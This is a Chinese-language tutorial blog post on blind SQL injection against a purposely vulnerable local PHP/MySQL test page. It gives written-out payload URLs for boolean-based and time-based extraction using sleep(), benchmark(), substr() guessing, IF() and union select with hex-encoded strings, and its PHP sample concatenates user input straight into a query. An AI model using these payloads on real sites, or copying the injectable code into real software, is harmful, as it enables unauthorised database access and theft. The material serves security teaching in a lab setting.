0x01什么是盲注

假设现在发现了一个SQL注入点,但应用只提供了一个通用的错误页面;或者虽然提供了正常的页面,但与我们取回的内容存在一些小的差异(可见或者不可见)。在这里没有有用的错误消息或者我们已经习惯的反馈内容。但是,即便在这种情况下,我们也仍然可以可靠的利用sql注入。

0x02环境搭建

首先创建一个数据库插入几条数据,我构造的是这样的。

mysql> select *  from test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | aaaaa    | aaaaa    |
|  2 | bbbbb    | bbbbb    |
|  3 | ccccc    | ccccc    |
+----+----------+----------+

PHP代码为:

<?php
ini_set('display_errors','off');
$db = mysql_connect('localhost','db_user','db_password');
if(!$db)
{
    die("can't connect to your SQL.");
}
$db_select  = mysql_select_db('db_name',$db);
if(isset($_GET['a']))
{
    $test  = $_GET['a'];
    $sql = "SELECT password FROM test WHERE id = '".$_GET['a']."'";
    echo $sql.'<br>';
    $result = mysql_query($sql,$db);
    $db_field = mysql_fetch_array($result);
    echo 'your password is:'.$db_field['password'] ;
}
else {
    echo 'you don\'t send values';
}
?>

0x03寻找并确认SQL盲注

这方面主要检测带入语句是否在SQL内被执行。所以只要能够确定输入的内容执行了就可以了。

1、可以通过拆分。

http://localhost/test.php?a=1
http://localhost/test.php?a=2-1

分解1为2-1。在数据库解析他们的时候,二者的功能是等价的。

字符型的可以构造如下:

(oracle中用||链接两个字符串)

http://localhost/test.php?a=lovehack
http://localhost/test.php?a=love'||'hack

这两个输入的参数虽然不同但是在oracle中解释是一样的。

不过每种数据库的连接字符串的方法是不一样的,要’对症下药‘。

2.可以使用延时进行确认。

例如在mysql中,可以构造如下:

http://localhost/test.php?a=1' and sleep(1)%23

构造这样的payload,网页如果延时一秒后再出现说明sleep()函数执行,即可以确认存在注入。

3.通过判断看是否有差别。

http://localhost/test.php?a=1' and 1=1
http://localhost/test.php?a=1' and 1=2

看两个查询代入后,返回网页是否有差别。

0x04可以看到返回页面不同时可以使用的手法

这个时候只要后面接个and判断就可以了。假如and后面为真,则返回和传递正常参数同样的页面。若为假,则返回不同页面。

构造payload如下:

http://localhost/test.php?a=1' and substr((select database()),1,1)='t' %23

通过猜解也可以得到数据库中的信息。

当然也可以不用单个字符猜解,也可以构造如下payload:
http://localhost/test.php?a=1' and substr((select database()),1,4)='test' %23
只不过在不知道任何信息的情况下单个字符猜解是肯定会得出答案的。

0x05延时注入

首先需要知道IF语句如何使用。

这里我使用的是MYSQL数据库。

IF(expr1,expr2,expr3)

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。
IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。

构造如下:

http://localhost/test.php?a=1' and if((substr((select database()),1,1)='t'),sleep(8),2)%23

即查询数据库名称的第一个字母是否是t假如是t,则延时8秒。那么可以通过观察是否延时判断条件是否正确。通过这样可以
猜解出其他信息。

除了sleep(),Mysql中还有其他函数可以进行延时,如:

BENCHMARK(N,expression)

其中expression是SQL表达式,N是执行该表达式要重复执行的次数。

所以可以将sleep(8)替换成benchmark(1000000000,rand())。如果想增加时间,还可以增大N的值。如下:

http://localhost/test.php?a=1' and if((substr((select database()),1,1)='t'),benchmark(1000000000,rand()),2)%23

如果AND不可以用,还可以使用union select.

http://localhost/test.php?a=1' union select if((substr((select database()),1,4)=0x726f6f74),sleep(8),2)%23

其中0x726f6f74替换了root,这是一种常见的转义,这样我们就不用引号啦~

未完,最近会尽快更新,小菜欢迎大家指正哦~